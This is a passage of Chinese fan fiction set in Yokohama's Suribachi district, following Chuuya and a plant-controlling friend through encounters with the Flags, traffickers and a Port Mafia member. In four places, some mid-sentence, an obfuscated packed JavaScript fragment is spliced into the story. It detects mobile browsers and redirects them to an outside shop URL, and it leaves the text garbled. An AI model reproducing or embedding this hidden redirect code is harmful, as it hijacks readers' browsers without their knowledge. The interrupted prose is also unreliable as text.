在这个特殊的时期,中也简直草木皆兵,生怕和自己相依为命的,这么大的一个幼驯染出什么意外。 “这才像话。”中也伸出手,叮嘱道,“最近擂钵街发生的事情那么多,不管怎么都要小心为上吧,不要跟路边的陌生人搭话,万一出了意外怎么办?” 弥生三月握住他的手,反驳道,“不是还有中也吗。” 他理直气壮的把问题抛回去,“难道中也会让我出意外吗?” “这分明就是两码事。”中也头疼的揉了揉自己的头发,仿佛被气笑了,又嗤笑一声,“算了。” 他仿佛自言自语,“反正只要有我在,不管什么样的意外都不会发生。” 蹲在地上的弥生三月轻轻“嗯?”了一声,借着他的手从地上站了起来。 握在一起的手变成了十指相扣,弥生三月在发觉中也不再生气后立刻贴上去,“那明天中也陪我去买挂手机的挂绳吧?” 中也垂眉,不等回答,弥生三月牵着他的手晃了晃,拖长声调,“我今天可是刚被人贩子盯上——” 这一句话正好戳在中也担心的事情上,他不再犹豫,干脆的点头,“好,那等明天我们一起去。” 本来他已经答应了【羊】的事情,但为了弥生三月的安全,【羊】的事情稍稍推迟一些也没关系。 毕竟自己又不是【羊】的一员,只不过是看他们都是未成年,偶尔帮帮忙而已。 弥生三月弯起眉眼,“我就知道中也最好了。” 这副模样和他营业时的笑容无二,中也却一眼从他脸上看出奸计得逞的得意洋洋。 他带着弥生走过一面被爬山虎爬满的墙壁,花香瞬间交织涌来,高大墙壁后有一层光照不进来的阴影,又绕过一个墙角,景色瞬间豁然开朗。 被修缮完整的小木屋坐落在鲜花之间,小木屋旁有一颗由藤蔓交织组成的粗壮“大树”,“大树”环抱着一幢闪闪发光折射阳光的玻璃暖房,里面影影倬倬的印出颜色艳丽姿态妍丽的花,光是看一眼,仿佛就能嗅到扑鼻的香气。 这是他们现在所居住的“家”。 弥生三月和中原中也的“家”。 饶是乱步,也没能推理出弥生三月做的纯粹是无本买卖,摘到什么花就卖什么花。 推开木屋的门,打开灯,暖色的灯光透过窗棂落下,放在阳台的向日葵朝他们扭过头,晃了晃身边的两片叶子,似乎在欢迎他们回家。 中也脱下外套,扭头去看又跑去逗向日葵的弥生三月,“我们晚饭吃什么?” 向日葵跟着弥生三月的手指向的方向扭过来又扭过去,旁边的金桔盆栽不满的发出“沙沙”的叶片婆娑声,青色的金桔晃来晃去,弥生三月闻言转头,还不忘从树上揪下来两个金桔扔给中也一个。 “今晚吃……”弥生三月咬了一口在他手里已经完全变成黄澄澄的金桔,被酸的“哇”一声吐进手掌心里,“这是什么橘子?” 中也习以为常的递上茶水,又看看被他强行催熟,上一秒还是青色的金桔,道,“这…应该不是它的问题。” 弥生三月“呸呸呸”了几口,又灌下口水漱口,兴致勃勃的提议,“今晚我们出去吃好不好?” 他碎碎念,“今天带出去的花都卖完了,你看!” 弥生三月从口袋里掏出被他叠的整整齐齐的钞票摆在中也眼前,双眼亮晶晶的,“这是今天全部的收入,我们去吃寿喜锅怎么样?” “出去吃就算了,已经这么晚了,煮面吧,多放点菜。”中也道,“等下我还要去‘羊’那边一趟。” 毕竟有弥生三月在,木屋后那片菜地里的菜已经快要泛滥成灾了,再不吃就快要结种子了。 “还要去【羊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440221|201034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】那边吗?”弥生三月问,他垂下眼睫,手指轻轻碾着颈间垂下的长长缎带,“说起来,今天这两位顾客就是认出我身上的布料是GSS那群海盗抢来货物的其中一批,才断定我是擂钵街的人。” “这个布料是上次【羊】的人为了感谢我从那群港口Mafia手里救下他们送来的。”中也深深蹙眉,“我都说过不要送这些东西过来了,我会去警告他们的。” 自从他们来到擂钵街后,【羊】也曾邀请过他们加入,但因为里面有些孩子对弥生三月展露出过分的敌意后,中也便一口回绝了。 他和弥生三月在这里重新修缮了一间不大的小房子,也就是现在的小木屋,就此定居在这里生活。 但擂钵街里一向不太平,再加之少年过分的美貌,如冬日一片死寂中落下的一只啾啾鸣叫的白团雀,惹的无数觊觎的眼睛纷纷投来垂涎的目光,又被中也一一消灭。 自此,这座种满了鲜花的成为了擂钵街中的禁区。 【羊】的人在被人追杀时偶然发现这个禁区,追杀他们的Mafia被中也干脆利落的一脚踹翻,狼狈的跑走后,每每他们惹到了处理不掉的人就会引到这里。 他们就像发现了会吞吃垃圾的洞穴,便把所有垃圾都引到这里。 因此,【羊】在外狐假虎威了好一段时间。 直到一株纤细的幼苗破土而出,扭曲的藤蔓不分敌我,在见识过藤蔓卷着累累白骨在月下慢慢收紧,而所有除了中也和弥生三月的人都会被悄悄缠上藤蔓后,才有人被吓破了胆,不敢再往这边乱跑了,只小心的观察他们的喜好,送来一些他们需要的东西来和他们交好。 背着中也让藤蔓从地底下挖出骨头的弥生三月——计划通! 才不会让中也给人白打工呢。 “是最近发生了什么事吗?”不然中也不会主动往【羊】那边跑的。 弥生三月从茶几下拖出一个高度到他腰的木箱子打开,里面满满当当的都是他攒的各种面额的纸币和一摞摞的硬币,整整齐齐的码在一起,全是他做无本买卖攒下来的家底。 中也想了想,“港口Mafia的事情你知道吧。” 弥生三月把手里的钱分门别类的放进箱子里,点了点头。 先代老大死亡,把位置传位给组织内的一个医生。 “托【羊】的福,他们打探到港口Mafia附近的一个仓库发生了爆炸。”中也顿了一下,才说,“他们说造成那场火焰的就是‘荒霸吐’,而‘荒霸吐’在那里复活了。” “好老的故事啊。”弥生三月从箱子里抽出几张纸币,语气轻快,“编出这种故事的人成年了吗?” 而且,‘荒霸吐’不是就在他面前站着呢么。 弥生三月仔仔细细的折好纸币,又抓了一把硬币,转身去挽中也的胳膊,他笑意盈盈,在中也面前歪了歪头,“如果真的有‘荒霸吐’,那吃掉它是不是就能得到它的力量了?” “就像这样……”他举起中也的胳膊,张嘴试图咬一口,结果被中也用另一只手不轻不重的扒拉了一下脑袋。 弥生三月没动,而是略略抬眼,白色睫毛扬起,在眼下落下一大片阴影,显得眼尾狭长,让雾绿色的眼瞳看起来格外深邃,目光幽长。 “时间不早了,我去烧水。”中也低头,看到的就是像小猫一样睥睨着自己的弥生三月,本来沉重的心情莫名的缓和下来。 不应该和弥生提这些的。 他想。 毕竟弥生什么都不知道。 弥生三月咬了几口只咬出一个浅浅的牙印,只好遗憾的把他袖子放下来,依旧笑盈盈的点头,“好,那我去摘菜。” 5. 藤蔓 他们两个默契的分工,中也把锅刷洗干净,打开电锅,开始烧水。 擂钵街里面居住的地方早几年就拉上了电线,中也凭借着自己的“友好沟通”,成功让他们的居所也通上了电和自来水。 弥生三月拎着菜篮去木屋后的菜地去摘菜,中也拉开冰箱,把里面前几天买的蘑菇和扔在冷冻层的牛肉丸拿了出来。 把蘑菇放在厨房台面上,厨房后门也被拉开,弥生三月提了满满一篮子回来放在水槽边拧开水龙头,开始放水洗菜。 哗啦啦的水声和掰蘑菇根的声音交汇,弥生三月哼起不知道从哪听来的小曲,把菜一股脑的扔进水池里。 鲜嫩的青菜上一秒还在地里,脆生生的茎用手一掰就断,一根一根的洗净掰断后,弥生三月拉开头顶的橱柜门拿沥水篮。 但没拿下来。 他够不着。 踮起脚尖也够不着。 沥水篮被他用尽全力也仅仅只是抓住边缘,在手指尖那用尽全身力气也没扣出来,反而推得更远。 中也切着蘑菇,抬眼看了一眼。 弥生三月抓着橱柜的边缘正想着要不要去搬凳子过来,已经被他推到最里面的沥水篮忽然自己动了动,往外挪了挪。 弥生三月喜出望外,抓住两边把沥水篮抽出来举在头顶,就这么维持着双手举在头顶,像某种祭祀仪式一样的姿势往后退了几步。 中也“噗嗤”一声笑了,“你那是什么姿势啊。” 弥生三月满脸严肃,“当然是向锅之神祈祷,让锅之神赐福,让今晚的面变得更好吃一点。” “哪有那种东西……”中也道,“不过看起来还挺成功的,把你嘴边的口水先擦一擦吧。” 弥生三月把沥水篮放在台面上擦了下嘴角,发现根本没有口水,哼了一声,嘴硬道,“那肯定是因为锅之神听到了我的召唤——啊,水开了,先把白菜梗和牛肉丸放进去吧。” 锅里的水翻腾起水花,白雾渺渺直上,然后又被中也扔下去的菜梗压下,只发出“咕嘟咕嘟”的声音。 等菜梗被煮的微微有些透明,弥生三月抽了一把面条下进去,接着又拿起菜板,把蘑菇推了进去。 不多时,水花再次翻腾起来,切成细丝的菜叶被沸水一烫后迅速塌软下去,两碗热气腾腾,只倒了点生抽和盐的面条被端上了桌。 弥生三月在外卖花,中午就没怎么吃东西,此刻面条摆在面前,他挑起一口就送进嘴里,接着眼睛亮了起来。 “感觉好久都没吃面了。”弥生三月喝了口热汤。 中也挑眉,学着他的样子挑了一筷子,尝了一口,“我还以为你早就吃腻了。” 他记得和弥生三月最开始时在一起相依为命的日子,弥生三月最先学会做的饭就是煮面条,接着他们就从顿顿吃果子,变成了顿顿吃面条。 后来小木屋搭起来,鲜花也逐渐卖出去,手里有钱了,饭桌上的饭菜才逐渐丰富多样起来。 不得不说,弥生三月在烹饪上很有天赋,不管是什么菜,甜品,小吃只要被他尝过就会被完美的复刻出来。 要不是售卖鲜花是无本的买卖,并且已经打出名气了,他们两个或许会开个小吃摊也说不准。 两碗面条连汤一起喝了个干净,中也刷完碗放在沥水架上,还记得自己还有事情没做,“我现在去【羊】那边一趟,很快回来。” 他穿上外套,道,“一会你直接睡就行,不用等我。” 弥生三月整张脸都被面汤升腾起的热气熏得红红的,坐在桌边看起来格外乖巧,点点头,“好,那我在家等你,要早去早回哦。” 中也推门而出,正准备前往【羊】的地盘,还没走几步,就看到在藤蔓外徘徊的人影。 看到他走过来,银发少年立刻跑过去,抱怨道,“中也你怎么才出来,不是说好会帮我们对付他们的吗?你是不是要反悔了?” 他都在这里等了半天了,如果不是因为这一丛丛的花挡住路,他早就等不及进去找人了。 中也皱眉,“没有,我说我会帮忙的,我让你们帮我调查的东西有线索了吗?” 白濑依旧喋喋不休,“当然有线索了,但是想要得到这些线索,中也就得履行承诺吧,只要你把那些胆敢欺负我们的港口Mafia都处理掉,我肯定……” 他忽然不说话了,目光直勾勾的朝着一个方向看了过去。 中也顺着他的目光,看到收拾完房间正在关窗的弥生三月,少年探出身,长发和袖间的长长缎带垂下,银色的月光落在他身上格外醒目,在窗外低垂的花间,宛若一副美丽的画。 他把外开的窗拉回去,随后落拴,拉上窗帘,似乎并没有看到他们两个。 白濑落在他身上的目光格外的久,中也此刻正是草木皆兵时,立刻向前一步挡住白濑的目光,语气不善,“喂,你在看什么。” 白濑下意识的咽了口口水,似乎想起了曾经看到如同幻觉一样缠着枯骨的翠色藤蔓。 在他们踏入这片不正常的,完全不属于擂钵街却开在擂钵街的花间时,破土而出,卷着森森白骨,甚至还来拉他们脚踝,试图把她们拉入地下的藤蔓。 他擦了擦额角虚虚冒出的冷汗,喃喃道,“他刚才好像对我笑了一下。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440222|201034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在他心里,这简直不亚于死神的笑容。 这是要比中也让他们调查的荒霸吐还要更恐怖的东西。 中也心中警铃大作,危险的眯起眼睛,“我说过,不许你们任何人再靠近这里吧。” 白濑似乎这才缓过神来,他这次表现的比刚刚恐惧多了,脚步虚浮的带着中也急忙逃离那片看起来宁静祥和的小花园,急急道,“资料明天早上我会给你,没什么事我就先走了……” 说着,逃也似的就要飞奔回【羊】的地盘,离开这片花田。 “等等。”中也叫住他,“最近新出现的那群拐卖小孩子的人贩子你们调查过吗?” 白濑还维持着要跑的姿势,面对中也,他没那么多的尊敬,有点不耐烦道,“擂钵街每天都有新的人贩子,你说的是哪个?” 不然他们这群未成年人就不会为了自保,组成【羊】了。 “每天都有?”中也皱起眉来,想了想道,“最近的,专门会拐漂亮孩子的那种。” “不知道,我回去帮你问问,如果有消息会一并告诉你的。” 白濑只觉得他问的完全就是废话,本来还想再怼他几句,却在看到月下摇曳的花枝时,不等中也再次叫住他,步履匆匆的快速消失在夜色里。 中也忧心忡忡的回到木屋,觉得觊觎自家幼驯染的人比自己想象中的要多多了。 来自不同势力的人贩子吗? 或许,自己应该和三月一起离开擂钵街,才能遮住那些落在三月身上垂涎的目光。 但擂钵街的人几乎都是在立本境内没有身份的黑户,当初如果不是因为这个,他们也早就搬离擂钵街了。 木屋里只有一个卧室,一开始他修建木屋的时候也想过修建两个卧室,但因为弥生三月会在分开睡后每晚自动刷新在他卧室门口,中也怕他感冒,就没再放任他单独睡过,把另一个卧室改成储物间。 而他回来进入卧室时,就看到少年已经听话的乖乖躺在床上睡着,长发搭在床边,被开门声吵醒后,迷迷瞪瞪的朝自己看过来,还顺便往旁边挪了挪。 看着床上的少年长睫搭下,睡颜安静,中也决定明天自己就要去把周边的人贩子都处理干净。 见他久久没上床,躺在床上的弥生三月半睁开眼睛,一掀被子拍了拍身侧的床,无声地催他快点上来。 被子掀起一角很冷的好不好。 中也轻手轻脚的在黑暗中窸窸窣窣的换上睡衣,钻进被窝,帮弥生三月掖了掖被子,感受到有温暖的热意贴上来,心情也随之放松下来。 他轻轻呼出一口气,也随之闭上了眼睛。 6. 金桔 清晨的阳光透过白纱窗帘朦朦胧胧的映在窗上,弥生三月被阳光晃得眯起眼睛,神志缓慢的回笼。 他慢吞吞的从床上爬起来,在床边坐了一会,才看向已经空无一人的床,去客厅拿起桌上的水喝了一口。 水还是温的,看来中也刚走了没多久。 他招了招手,关得严严实实的房门“哐当”一声被撞开,一根粗壮的藤蔓的分支从屋外巨大的藤蔓树上爬下,摇摆着闯进来,直奔卧室而去。 然后勾起昨晚被弥生三月叠放整齐的衣服,一堆藤蔓无声地,分工明确自顾自的给站在客厅的弥生三月换下睡衣,穿上衣服,系上缎带。 最后离开时还不忘把他的长发从衣领里捞出来,礼貌地用卷曲的藤蔓尖关上门,才从来时的地方退去。 这些是独属于弥生三月的异能力,操纵植物。 不同于中也战斗型的异能,生物系的异能让他只要在有植物,甚至只要有种子的情况下就能任意操纵它们,甚至能够和这些植物共感。 而在他的操纵下,这些植物俨然已经和他合为一体,也成为了能够照顾他们起居的家政人员。 不过除了打扫卫生这种他们都不太爱动手的事情之外,像昨天做饭之类的事情,他们还是比较喜欢自己来。 喝完水,弥生三月打开窗帘,推开窗,询问了一下窗口的向日葵。 在得知中也是去【羊】那里获取情报,很快就回来后,他百般无聊的摘了颗金桔放在嘴里嚼嚼嚼。 昨晚中也答应自己要陪自己去买手机挂绳的。 他不会忘记了吧? 弥生三月又揪了一个金桔放在嘴里,边吃边自言自语,“下次换个品种好了,你怎么这么酸?” 金桔不满的“哗啦啦”作响,简直要委屈成柠檬。 你摘得都是青色的,能不酸嘛? 它就没见过这么能甩锅的人! 有本事你别吃啊! 弥生三月对他的委屈视而不见,吃完这颗又在金桔树上找了找,又找到一颗被它藏起来的,唯一一颗黄澄澄的金桔,毫不犹豫地摘下,塞进嘴里。 唔……这颗味道不错。 被酸的嘴里发苦的弥生三月终于松开皱起的眉头,像是在吃什么山珍海味一样小口小口的吃起不大的金桔了。 被他抢劫的金桔终于崩溃着自暴自弃,去用叶子撞身边的向日葵,试图通过这种方式拉同事一起自杀。 它原本是这座木屋所在地的原住民,因为地理原因,方圆十米,没有任何一个活物存在,它就是名副其实的金桔大王! 直到有一天恶霸弥生三月带着中也来了,不仅霸占了这块地方,还把自己连根拔起,移栽到了这个小小花盆里。 一瞬间,它从那块贫瘠地来到了这块有水有肥、就连阳光和空气都变好了的小木屋。 但受制于人,金桔大王绝不认输! 通过共感,金桔的愤慨和小向日葵的哼哼唧唧一起传到弥生三月脑海里。 他感觉到金桔挠痒痒一样的撞击,也不可能看着元老植物带着心腹植物去死,认命地叹了口气,安抚地从茶几下抓了一把在外购买的固态肥撒给它。 “别闹了。”他又浇了点水,“下次有合适的机会,我给你埋点动物肥。” 金桔晃了晃,似乎是想到了曾经吃过的一些被弥生三月处理掉,被藤蔓拽进土地下的鬣狗尸体的味道,才满意地婆娑着晃了晃树叶,用根系努力地去吸收那些肥料了。 安抚好金桔的情绪,弥生三月开始处理自己的情绪。 本来他是可以直接询问这些植物中也的下落的。 但自从自己吓过【羊】那些人后,那群孩子变得格外敏感,他们隐约察觉到这些植物和弥生三月有关系,也猜测植物能够活动的范围只限定在鲜花环绕的小木屋,却因为恐惧,依旧把能见到的植物都铲除了个干净。 甚至还专门偷了除草剂四处泼洒,生怕不知道从什么地方就有藤蔓拔地而起,威胁到他们的安全。 这也导致原本能够共感整个擂钵街植物的弥生三月能力变得十分受限。 他握着手机思索半晌,正犹豫要不要打电话给中也,边缘的藤蔓就被少年一走一过扬起的风带的细微摇晃起来,宛若被风吹动的湖面,产生的涟漪轻轻撞在岸边。 弥生三月微微抬起头,果然看到中也蹙着眉走进来,见到倚在窗边的弥生三月,神色才好转了点。 中也的眉宇间依旧有些愠色,却在他面前掩饰了起来,转而问道,“怎么这么早就醒了?” 他站在窗前,看样子不打算进屋了,“衣服换好了,那咱们出去吃吧?” 弥生三月抬眼看他,默不作声的从上到下看了他一圈,最后视线落在他不知被什么东西洇湿的衣角。 “中也要不要先换件衣服?”弥生三月从窗口探出半个身子,一手横在窗沿上借力,一只手拂过他身上的衣服,把那角被洇湿的衣摆轻轻拉了起来。 或者说,把那截衣角拉到了一株栽在窗下的蔷薇旁。 细微的血腥味侵蚀着蔷薇花的香气,昭示着自家早早起床的小伙伴到底是去做了什么见不得人的事情。 他大概已经猜到了是怎么回事。 昨天自己被人贩子跟踪,那么中也今天早上大概率就是去处理擂钵街附近的人贩子了。 刚刚早上起床没看到中也的烦闷心情也随之消散,他笑意晏晏,并没有拆穿,“正好我有几件衣服要洗,干脆就一起扔进洗衣机里面吧。” 中也这才看到被血洇湿的衣角,意识到自己早上背着幼驯染做的事情估计已经被戳破,不由得“啧”了一声。 昨晚找白濑要人贩子资料的时候,自己准备把擂钵街这里的人贩子一网打尽了。 这些人贩子只要在这里一天,就会对弥生三月有威胁。 会威胁到三月的东西,还是不要存在的最好。 于是他一大早上就跑去【羊】,找白濑要了消息,在他一声声喋喋不休的质问他什么时候去处理掉那些港口Mafia中,干脆利落的转身离开,去白濑提供的人贩子据点,处理掉了那些人。 但等那些人的支援到来后,中也才发现这里的人压根不是人贩子,而是大名鼎鼎,又同样臭名远扬的港口Mafia。 发觉自己被骗了的中也立刻要回去找白濑算账,手机铃声却在此时不合时宜的响起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440223|201034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他打开手机一看,发现是自己出门时设定的闹铃。 一般这个时候,都是三月要起床的时间。 他还记得今天答应三月的事情,就只能暂时先放下人贩子的事情,匆匆往回赶。 结果却还是被弥生三月抓了个正着。 被弥生三月戳穿,中也懊恼的转过身,边走边脱下身上的机车外套,随手扔进洗衣机里。 按了启动,又去衣柜里拿了一件休闲外套套在身上。 回到客厅,就看到弥生三月拿了零钱袋放进口袋里,等他准备就绪,中也伸出手抓住他的手腕,缓和了情绪,“今天准备吃点什么?” “还没想。”弥生三月摇摇头,扬起笑脸,“发生什么事了吗?你心情很差?” 中也不打算和他说自己和【羊】的事情,况且今天自己并非没有察觉白濑的小心思,只是因为时间紧急,他没时间去确认白濑提供的消息的准确性,才会一时不查被他骗了个正着。 他知道三月对自己的情绪一向敏感,再次调整了一下自己的心情,“没什么。” “是【羊】的事情吗?”弥生三月歪了歪头,弯着唇,笑意却不达眼底,“是‘荒霸吐’……唔,看来不是?” 他想起昨晚在中也出门后,听到的中也和白濑的交谈,轻轻垂下了眼睛。 看来自己的小伙伴被人骗了呀。 真过分啊,那群家伙该不会真的以为在擂钵街里,他们出没的地方洒满除草剂,就能限制自己了吗? 中也正想着要怎么回答,弥生三月却没再继续这个问题,轻描淡写的把话题岔开,“我们去吃茶泡饭吧?” 毕竟已经做好决定了,就是不知道他们能不能承担欺骗别人的后果了。 弥生三月眼底的冷漠稍纵即逝,又恢复了那副满含期待的笑脸,“然后我们就去最近新开的商场,听说那里新开了好多店,我在卖花的时候经常能看到有人佩戴着手机挂绳,怎么样?” 新开的商场距离擂钵街有很长一段距离,毕竟擂钵街名声在外,任哪个脑子正常的老板都不会把商场开在这附近。 定下目的地,在路边的店里吃过早饭,两个人在清晨阳光照射在绿叶投在人行道的绿荫下走走停停散着步,终于进入了商场中。 商场里的人熙熙攘攘,他们两个不得不扣紧手,穿梭在人群之中。 这里面正在开展一场集市,里面不仅仅有装修精致的店面,还有在空旷大堂里上支起的一个个小小的摊位。 怪不得这里有这么多人。 弥生三月左看右看,一指一个空无一人的摊位,“我们去那吧?” 说着,不等中也拒绝,就拉着他穿过人群,在那个没人停驻的摊位前站定。 坐在摊位后已经开始打哈欠的摊主看到有客人上门,立刻清醒了,但还没等他说话,弥生三月就已经看到摊位上摆着的各种小小的商品上摆着的价格。 他带着中也在摊位前转了个弯,假装一副“我只是路过”的模样,和中也迅速溜了。 仅仅是一个小小的手机挂绳,居然能这么贵! 什么时候立本全民富裕了没人通知自己!早知道自己也要给鲜花涨价啊! 7. 第 7 章 弥生三月带着中也若无其事地转身,却被迎面而来的人撞上,差点再次被带回刚才那个卖的死贵死贵的摊位上。 他下意识抓紧中也的手,抬头看到一个不合时宜的,裹着厚厚大衣,还带着耳包围巾的长发男人。 和身边那些穿着春装,甚至已经穿上夏装的人不同,他此刻仿佛和四周的所有人不在一个气候中,依旧一身厚厚的冬装,身上的衣物甚至要比一些人的冬装更厚一些。 长发男人显然并非本国人,高挑的身材再加上独属于异国的出色容貌,令不少人都看到了这位异国美人。 他是…… 弥生三月骤然睁大了一双浅绿色的眼睛。 中也下意识向前一步,想把弥生三月护在身后,然后去质问对方到底长没长眼睛时,就被弥生三月一把拉到身后。 力气之大,看样子他正试图把自己藏在身后。 在外,中也一向都在充当弥生三月保护者的角色,此刻被弥生三月护在身后,中也下意识看了眼他,觉得他的表现有点奇怪。 可手被弥生三月压在长发后死死扣住,就算他还想出头,也被少年极力压下,只这样躲在弥生三月身后。 这几乎是下意识的反应,弥生三月对这张脸的印象很深,而对方也已经发现他们了,带着中也离开已经没什么意义了。 站在他们面前的人个头很高,一头黑色的长发卷曲而下,撞了人似乎也没发现,依旧维持着一副若有所思的模样,有些呆的看着弥生三月。 直到发现身边的人都在看自己,似乎才意识到自己撞到的就是自己刚进来时就注意到的少年,而不是减速带。 站在面前的少年容色格外出众,兰堂注视了他几秒,才垂下眼眸,道了声歉,“你没事吧?” 弥生三月仰着头和他对视,心里有些诧异。 因为对方并没有他预想中的动作,反而像是第一次看到他们一样,看他们时完全是看陌生人的眼神。 现在不能直接带着中也离开,带着中也离开才是欲盖弥彰。 而且,他真的不记得中也和自己了吗? 弥生三月觉得这个可能性存疑,目光不动声色的四处张望了一瞬,确定商场里没有那个和中也一样,同样有着钴蓝色眼瞳的金发男人。 “先生。”弥生三月抬起头,只感觉自己长得不够高,不能完全挡住中也。 他弯着唇角,扬起一个漂亮的笑,仿佛皑皑白雪中伫立的一株青苗。 以他对自己容貌的了解,一个这样的笑容足以让所有人的目光都落在自己身上。 众目睽睽之下,就算对方是装作不认识他们,想要之后再动手也要好好考虑一下。 事实也如他所愿,四周的不少人都注意到了这场摩擦,甚至因为双方格外漂亮的脸,从而产生窃窃私语。 这是在拍广告吗?还是在拍电视剧? 四周似乎没有看到摄影机? 原来横滨居然有这么好看的人吗?还一出现就是两三个? 不管身边人的低声讨论,弥生三月把中也挡住大半,几乎是半强迫着让中也低下头,随后气势不减,和兰堂理论,“走路的时候还是要看路的哦。” 兰堂点了点头,略带歉意道,“唔……抱歉。” 弥生三月摇摇头,温声提醒,“这里人很多,发生这样的事情也很正常,但还请您下次注意一些。” 对方低头,目光在弥生三月身上落下,在看到他身后露出的一点橘发后怔了怔,似乎又有些出神。 弥生三月歪头,月银色的长发倾泻下来,挡住身后中也露出的一点发尾,柔声询问,“先生?您现在是要赔偿我吗?” 兰堂神色恍惚,把目光挪到少年那张扬起笑容的漂亮的脸上。 …… 他看着弥生三月的脸,有些陷入短暂的茫然,魂不守舍的点了点头,从口袋里拿出钱包,塞进弥生三月手里,没再说什么,转过身,沉默着跟随人流离开了。 没想到真能获得对方赔偿,甚至是整个钱包都塞过来了的弥生三月:? 他顿时更警惕了,一路目送兰堂离开,才转头看向中也,询问道,“他,住在这附近吗?” 中也道,“可能吧,我见过他,他不是港口Mafia的成员吗?怎么会在这种地方?” “港口Mafia?”弥生三月重复一句,垂眸思索。 港口Mafia,他记得和擂钵街也有冲突。 昨晚中也说的‘荒霸吐’也和港口Mafia有所联系。 这会不会是有人设下的圈套,引诱中也上钩呢? 中也或许不记得他了,但自己却对这个拥有一头长卷发的男人和那个金发的男人有着很深的印象。 所以也会在看到他的第一时间,把中也藏到了身后。 不论如何,中也都是自己的,他也必须是自己的,不管谁都不可以把他从自己身边夺走。 就算是有人想要尝试,也要接受自己的报复,哪怕是港口Mafia,是那两个人也不例外。 中也意识到弥生三月刚刚行为的反常,以往遇到这种事情,哪怕知道少年自己会处理好,却也依旧会任由自己为之出头,等事情解决后就立刻过来牵着自己的手夸夸。 三月大部分时间都会纵着他的。 而就刚刚弥生三月的举动,中也并没有感受到什么被保护的欣喜,反而有些说不清道不明的焦躁。 为什么忽然把自己拉到他的身后? 是因为三月觉得自己无法保护他了吗? 兰堂早已走远,弥生三月却依旧垂着眼睛,似乎在思索着什么。 想到这,握住弥生三月的手指稍稍用力,少年朝他转过头,浅绿色的眼瞳中还带着一些清浅如雾气的茫然,疑惑的微微歪头,似乎在问怎么了。 中也缓和了语气,“我们还要去买挂绳吗?” “当然要买。”弥生三月立刻笃定道,今天就算是下刀子也要把这个挂绳买了,更别说现在他们都已经到了商城了。 今天遇到那个人看来只是个意外,以后…… 弥生三月咬了下嘴唇。 想让中也不去调查‘荒霸吐’是不可能的。 在擂钵街生活,却不接触港口Mafia也是不可能的。 那么就剩下一个选择了。 他看了一眼兰堂离开的方向,在心里做好决定,接着轻轻呼出一口气,露出笑意,凑到中也身边,双手握住他的手,轻轻晃晃,“抱歉,我刚才有点走神了,对了,刚刚那个人把钱包留下来了,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440224|201034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是把整个钱包里面的东西都赔偿给我们了?” 说着,弥生三月把钱包递给中也,笑晏晏道,“要不要看看里面有什么,说不定今天的消费都不用我们支出了呢。” 兰堂的钱包是电视剧里常见的社会精英用的皮质钱夹,能够放进去整张的日元和数张证件,从外面的手感判断,里面装着的东西不少。 弥生三月拉开钱包拉链,入目就是一片棕褐色,惊得弥生三月“啪”一声又把钱包合上了。 这位港口Mafia成员似乎有点过于大方了。 不对,应该说港口Mafia居然这么赚钱吗? 中也把他拉到角落,也同样被那一大叠万元纸币震惊到了,等到了没人地方,弥生三月才又打开钱包确认。 里面码的整整齐齐的,一叠崭新的万元纸币正安安静静的呆在钱包夹层里,昭示着自己的存在感。 这对于财迷弥生三月而言,简直就是猫遇到了猫薄荷,恶龙遇到了宝藏,一时间脑子里几乎容不下别的东西了。 要知道,他每天兢兢业业的倒腾自己的无本买卖这么多年也没赚到这么多钱啊! 居然,原来立本真的实现全民致富了吗? 弥生三月恍恍惚惚的抬起头,“中也,你打我一下,我不是在做梦吧?” 中也握住他的双手,再次“啪”的一声把钱包合上了。 弥生三月清醒了。 中也又把钱包打开了。 弥生三月恍惚了。 中也再次打开钱包。 弥生三月露出沉醉的笑容。 中也:…… 他露出了颇为无奈的表情,从弥生三月手里抽出钱包,见他目光不离钱包,甚至视线还依依不舍的追着钱包过来,直到钱包被自己收进怀里,才把目光落到自己脸上。 一向温和的少年此刻有些兴奋,四处看了看,像私藏了松果的小松鼠,压低的声音里满含激动,“中也,我们发财了!” 那么多钱,足够他们很长一段时间吃喝不愁,也能给中也好好的补一下身体了。 